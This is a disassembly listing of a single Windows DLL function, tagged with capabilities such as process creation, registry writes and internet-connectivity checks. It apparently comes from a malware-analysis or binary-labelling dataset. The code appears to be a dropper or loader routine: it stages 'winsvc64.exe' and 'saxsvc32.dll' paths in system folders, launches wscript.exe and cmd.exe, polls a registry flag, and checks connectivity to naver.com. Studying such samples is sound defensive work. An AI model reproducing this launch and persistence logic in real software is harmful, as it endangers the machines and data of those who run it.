Function at 0x1800015e0
Capabilities:
Check internet connectivity via wininet
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
mov r11, rsp
push rsi
push r12
sub rsp, 0x168
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rdi
mov qword [r11 - 0x18], r13
xor r13d, r13d
mov ebp, ecx
lea rcx, [rsp + 0x41]
mov esi, r13d
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], sil
mov r12d, r13d
call sub.MSVCR90.dll_memset
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x180009280]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x1800016b2
lea rcx, [0x180009280]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x180009280]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x180009280]
repne scasb al, byte [rdi]
movzx eax, word [0x1800063a0]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [0x180009280]
repne scasb al, byte [rdi]
mov rax, qword [str.winsvc64.exe]
mov qword [rdi - 1], rax
mov eax, dword [0x1800063b0]
mov dword [rdi + 7], eax
movzx eax, byte [0x1800063b4]
mov byte [rdi + 0xb], al
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x180009390]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x180001737
lea rcx, [0x180009390]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x180009390]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x180009390]
repne scasb al, byte [rdi]
movzx eax, word [0x1800063a0]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [0x180009390]
repne scasb al, byte [rdi]
mov rax, qword [str.saxsvc32.dll]
mov qword [rdi - 1], rax
mov eax, dword [0x1800063c0]
mov dword [rdi + 7], eax
movzx eax, byte [0x1800063c4]
mov byte [rdi + 0xb], al
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x1800094a0]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x1800017b2
lea rcx, [0x1800094a0]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x1800094a0]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x1800094a0]
repne scasb al, byte [rdi]
movzx eax, word [0x1800063a0]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [0x1800094a0]
repne scasb al, byte [rdi]
mov rax, qword [str.wscript.exe]
mov qword [rdi - 1], rax
mov eax, dword [0x1800063d0]
mov dword [rdi + 7], eax
mov ecx, dword [0x180009268]
mov qword [rsp + 0x180], rbx
call fcn.1800013e0
mov edi, 0x64
test eax, eax
jne 0x180001886
lea edx, [rdi - 0x63]
lea rcx, str.wscript.exe
call fcn.1800014c0
test eax, eax
jne 0x18000180e
lea r8, [0x1800094a0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, edi
mov ecx, edi
dec ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.wscript.exe
mov edx, 1
call fcn.1800014c0
test eax, eax
jne 0x180001838
test ebx, ebx
jg 0x180001810
jmp 0x1800018fa
mov ecx, 0x32c8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x180008f58]
lea rax, [rsp + 0x30]
lea rdx, [0x18000882c]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [0x1800091f8], 0x58
mov dword [rsp + 0x30], 0x58
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x1800018fa
cmp ebp, 2
je 0x1800018b1
cmp ebp, 3
je 0x1800018b1
cmp ebp, 5
je 0x1800018b1
mov eax, dword [0x180009268]
mov ecx, 0x63
mov dword [0x1800090d8], eax
lea r12d, [rcx - 0x62]
call fcn.180003140
jmp 0x1800018fa
cmp dword [0x1800091f8], esi
jne 0x1800018fa
mov rcx, qword [0x180008f58]
lea rax, [rsp + 0x30]
lea rdx, [0x18000882c]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [0x1800091f8], 0x58
mov dword [rsp + 0x30], 0x58
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov r8d, dword [0x180009268]
lea r9, [0x180009390]
lea rdx, str._d__s
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, [rsp + 0x40]
lea r8, [0x180009280]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rbx, qword [rsp + 0x180]
mov ecx, 0xc8
dec edi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x180008f58]
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
lea rdx, [0x18000882c]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x34], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], r13d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [rsp + 0x30]
mov dword [0x1800091f8], edx
cmp edx, 1
je 0x18000199f
test edi, edi
jg 0x180001942
jmp 0x1800019e7
mov esi, 1
test r12d, r12d
je 0x1800019e7
lea r9, [0x1800090e0]
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp ebp, 6
jne 0x1800019dc
lea rcx, str.Themes
call fcn.180001320
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r8d, r8d
lea rcx, str.http:__www.naver.com
lea edx, [r8 + 1]
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
mov r13, qword [rsp + 0x160]
mov rdi, qword [rsp + 0x190]
mov rbp, qword [rsp + 0x188]
test eax, eax
jne 0x180001a45
test r12d, r12d
je 0x180001a45
mov edx, dword [0x1800090dc]
inc edx
cmp edx, 5
mov dword [0x1800090dc], edx
jge 0x180001a45
mov ecx, dword [0x180009268]
call fcn.180001470
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180004dc0
add rsp, 0x168
pop r12
pop rsi
ret